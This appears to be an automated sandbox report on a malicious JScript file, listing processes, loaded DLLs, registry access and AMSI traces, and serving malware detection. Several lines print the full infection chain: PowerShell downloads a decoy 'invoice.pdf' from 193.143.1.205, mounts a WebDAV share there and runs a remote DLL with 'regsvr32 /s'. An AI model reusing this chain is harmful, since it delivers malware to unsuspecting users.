Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2078028442107917841.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3632:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgi0xtgr.hpf.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2078028442107917841.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1652,i,13174889617063134609,234930856317104007,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1652,i,13174889617063134609,234930856317104007,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5402.js.csv");ITextStream.WriteLine(" entry:8178 f:aycdqiji");ITextStream.WriteLine(" exec:2 f:aycdqiji");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
